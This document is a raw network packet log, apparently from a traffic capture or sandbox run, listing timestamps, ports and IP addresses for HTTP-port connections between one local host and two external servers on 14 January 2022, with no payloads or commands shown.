Jan 14, 2022 20:29:10.855258942 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.859095097 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.872654915 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.876432896 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.971247911 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.971352100 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.971648932 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.988930941 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:11.003556013 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.020915031 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:11.021145105 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.021188974 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.021203041 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.038378000 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:11.152443886 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:11.153122902 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.153377056 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.170557022 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:11.184070110 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.202044010 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:11.202202082 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.202297926 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.202322960 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.219639063 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:11.323678970 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:11.324387074 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.324666977 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:11.331758976 CET	49782	80	192.168.2.4	185.186.142.166
Jan 14, 2022 20:29:11.341969967 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:11.387983084 CET	80	49782	185.186.142.166	192.168.2.4
Jan 14, 2022 20:29:11.900846004 CET	49782	80	192.168.2.4	185.186.142.166
Jan 14, 2022 20:29:11.957149029 CET	80	49782	185.186.142.166	192.168.2.4
Jan 14, 2022 20:29:12.463393927 CET	49782	80	192.168.2.4	185.186.142.166
Jan 14, 2022 20:29:12.519540071 CET	80	49782	185.186.142.166	192.168.2.4
Jan 14, 2022 20:29:12.870682001 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:12.887943983 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:12.889792919 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:12.889857054 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:12.889867067 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:12.907186985 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.008774042 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.008929968 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.009166956 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.026371956 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.307760000 CET	49784	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.325298071 CET	80	49784	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.326244116 CET	49784	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.326380014 CET	49784	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.326399088 CET	49784	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.343657017 CET	80	49784	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.444963932 CET	80	49784	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.447304010 CET	49784	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.456474066 CET	49784	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.473978043 CET	80	49784	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.490773916 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.508124113 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.508218050 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.508342028 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.568973064 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.609756947 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.609818935 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.609901905 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.609946012 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.609973907 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.609983921 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.610024929 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.610064030 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.610105038 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.610105991 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.610147953 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.610186100 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.610198975 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.610285997 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.627439022 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649079084 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649144888 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649190903 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649236917 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649276018 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649303913 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.649315119 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649357080 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649396896 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649435997 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649473906 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649514914 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649529934 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.649558067 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649595976 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649635077 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649674892 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649684906 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.649714947 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649753094 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.649756908 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649796963 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649837017 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.649868011 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.649934053 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.667186022 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.667221069 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.667243004 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.667309046 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688354015 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688395023 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688424110 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688433886 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688452959 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688483000 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688493967 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688510895 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688539028 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688543081 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688566923 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688596964 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688597918 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688628912 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688653946 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688657045 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688687086 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688711882 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688715935 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688741922 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688766956 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688791037 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688793898 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688817978 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688821077 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688849926 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688875914 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688877106 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688904047 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688931942 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688957930 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.688960075 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688983917 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.688986063 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689013958 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689038038 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689064980 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689064980 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.689090967 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.689093113 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689120054 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689141989 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.689147949 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689173937 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689205885 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689234018 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.689239025 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689254999 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.689270020 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689296961 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689318895 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.689325094 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689353943 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.689402103 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.706690073 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.706749916 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.706774950 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.706789970 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.706830025 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.706871986 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.706881046 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.706909895 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.706919909 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.706948996 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.706979990 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.707026958 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.727848053 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.727916956 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.727938890 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.727961063 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728003979 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728044033 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728056908 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728082895 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728122950 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728132010 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728163958 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728178978 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728204966 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728246927 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728286028 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728317022 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728323936 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728348017 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728363991 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728401899 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728404999 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728441954 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728482008 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728492975 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728518963 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728559017 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728573084 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728599072 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728636980 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728660107 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728676081 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728713989 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728750944 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728754044 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728791952 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728801966 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728827953 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728866100 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728904009 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728919029 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728940964 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.728956938 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.728979111 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729017973 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729048967 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.729058027 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729098082 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729130983 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.729136944 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729175091 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729185104 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.729214907 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729254961 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729264975 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.729295015 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729334116 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729372025 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729383945 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.729412079 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729422092 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.729449034 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729486942 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729525089 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729536057 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.729561090 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729572058 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.729602098 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729640007 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729679108 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729690075 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.729718924 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.729723930 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747040033 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747102022 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747112989 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747144938 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747184038 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747226954 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747231960 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747267962 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747268915 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747303963 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747344017 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747359991 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747381926 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747423887 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747462988 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747500896 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747502089 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747543097 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747555971 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747584105 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747594118 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747617006 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747658014 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747698069 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747709990 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747730017 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747747898 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747767925 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747807026 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747844934 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747883081 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747884035 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747895002 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.747925997 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.747965097 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748002052 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.748003960 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748044968 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748044968 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.748083115 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748121977 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748159885 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748171091 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.748200893 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748202085 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.748244047 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748281002 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748290062 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.748320103 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748358965 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748393059 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.748395920 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748436928 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748437881 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.748476028 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748511076 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.748513937 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748545885 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.748656988 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.767288923 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767354965 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767393112 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767410994 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.767433882 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767474890 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767513990 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767520905 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.767554045 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.767554998 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767596960 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767636061 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767677069 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767680883 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.767716885 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.767718077 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767757893 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767797947 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767834902 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767839909 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.767874956 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767879963 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.767913103 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767950058 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767988920 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.767991066 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768027067 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768028975 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768068075 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768106937 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768143892 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768148899 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768182993 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768186092 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768229008 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768265009 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768304110 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768307924 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768342972 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768343925 CET	49785	80	192.168.2.4	8.209.70.0
